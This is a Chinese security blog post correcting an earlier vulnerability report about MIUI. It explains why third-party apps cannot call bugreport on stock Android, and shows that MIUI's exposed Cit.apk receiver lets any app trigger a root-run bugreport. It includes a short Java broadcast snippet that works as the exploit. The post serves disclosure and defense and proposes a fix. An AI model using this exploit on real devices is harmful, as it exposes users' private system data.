关于MIUI中cit.apk暴露bugreport的漏洞

之前在乌云发布的MIUI数据泄露漏洞之一(WooYun-2012-08222),其中的“详细说明”部分,存在部分错误。这个漏洞涉及bugreport,我错误地指出在shell下可以调用的bugreport,第三方应用软件也可以随便调用,这是错误的。由此在微博上和回复里引起对Android一般安全的讨论,向大家表示歉意。

此外,需要强调的是,由于Cit.apk的组件暴露,在MIUI系统下,该漏洞依然可以利用。

以下是详细的技术分析,包括我犯的错误,以及在MIUI下的利用方法。

bugreport的调用权限分析

bugreport在adb shell下即可调用并正确输出结果,但如果在应用软件中以普通权限调用Runtime.getRuntime().exec(),无论是执行”bugreport > /sdcard/report.txt”还是”bugreport”并读取返回的process的getInputStream(),均会通过stderr返回错误提示”Failed to connect to dumpstate service”。

查看bugreport的源码。问题出在这里:

    /* start the dumpstate service */                                                                                                    
    property_set("ctl.start", "dumpstate");

对普通的应用软件,在自己的UID下,property_set()会失败,导致dumpstate服务没有启动,因此bugreport等待十秒后出错退出。

需要指出几点:

1. bugrepot实际是启动dumpstate服务,并通过本地socket连接读取它的输出;

2. dumpstate的正确执行需要root权限,主要是第一步搜集dalvik vm的trace信息时,需要先将/data/anr/traces.txt备份,dump生成trace数据后再恢复。这两步都需要root。

3. 调用property_set()通常需要root或system这两个UID才能成功。但这里有一个例外规则:如果是启动dumpstate,有shell或log权限就可以了。参见system/core/init/property_service.c中的control_perms。

因此,在shell下可以成功调用bugreport,然后启动以root权限执行的dumpstate服务,从本地socket读取其输出的数据。但以普通APP的权限调用bugreport会失败。我在WooYun-2012-08222中所说的第二种利用方法无效,也就是说在一般的Android系统上bugreport的存在不会向第三方应用软件泄露系统数据。

MIUI漏洞的利用方法

然而,正如我在至少在MIUI中WooYun-2012-08222中所说,还有一种方法获得bugreport的输出结果。我们来看一下Cit.apk的manifest:

         <receiver android:name=".CitBroadcastReceiver">                                                                                  
             <intent-filter>
                 <action android:name="android.provider.Telephony.SECRET_CODE" />
                 <data android:scheme="android_secret_code" android:host="64663" />
                 <data android:scheme="android_secret_code" android:host="284" />
                 <data android:scheme="android_secret_code" android:host="6564" />
             </intent-filter>
         </receiver>

任何第三方应用软件都可以通过发送一个action为android.provider.Telephony.SECRET_CODE的intent,来使得这个receiver代码被执行。如果附加上android_secret_code://284的数据,就进入了bugreport分支。这一利用代码如下:

Intent intent = new Intent();
intent.setAction("android.provider.Telephony.SECRET_CODE");
intent.setData(Uri.parse("android_secret_code://284"));
sendBroadcast(intent);

我们来看一下com.miui.cit.CitBroadcastReceiver这个接收器的代码片段:

    if ("284".equals(paramIntent.getData().getHost())) {
        this.m_logFileName = CitUtils.getLogFilePath("bugreport");
        Context localContext1 = this.mContext;
        Context localContext2 = this.mContext;
        Object[] arrayOfObject = new Object[1];
        arrayOfObject[0] = this.m_logFileName;
        Toast.makeText(localContext1, localContext2.getString(2130968768, arrayOfObject), 1).show();
        asyncExecute(new Runnable() {
          public void run() {
            try {
              String str = CitBroadcastReceiver.TAG;
              String[] arrayOfString = new String[3];
              arrayOfString[0] = "bugreport";
              arrayOfString[1] = ">";
              arrayOfString[2] = CitBroadcastReceiver.access$100(CitBroadcastReceiver.this);
              CitUtils.rootExecProgram(str, arrayOfString, true);
            }
            catch (InterruptedException localInterruptedException) {
                localInterruptedException.printStackTrace();
            }
            catch (IOException localIOException) {
                localIOException.printStackTrace();
            }
          }
        });
      }

也就是说,这个receiver会以root权限调用bugreport,并将结果保存至/sdcard/MIUI/debug_log/bugreport-

关于这类由于组件暴露导致的权限绕过,学术上叫做permission redelegation问题。修复的方法是,对receiver的调用要求signature级别的权限。

再次对我的错误表示道歉。以后的可能漏洞,我会做严格地验证,先把利用代码跑通,再上报。

2 thoughts on “关于MIUI中cit.apk暴露bugreport的漏洞

  1. yajin

    Hi xiao,

    很好的发现.

    >CitUtils.rootExecProgram(str, arrayOfString, true);

    也就是说 这个app 可以执行root shell? 这个root shell 是存放在什么位置的? 它的文件mode 是什么( 775 吗?) 如果是 775 的话, 所有的第三方app 都可以直接调用这个 root shell 了 :)

    Reply
    1. Claud Post author

      Hi yajin, 这个app是预装在ROM中的,有system权限和签名;其次,系统中预装了su.apk,这个app通过它获得root执行能力;最后,rootExecProgram这个方法没有在哪个组件中对外暴露(即不能自己构造数据并调用到)。所以,和你想的不同,不存在root shell的暴露问题。

      Reply

Leave a Reply

Your email address will not be published. Required fields are marked *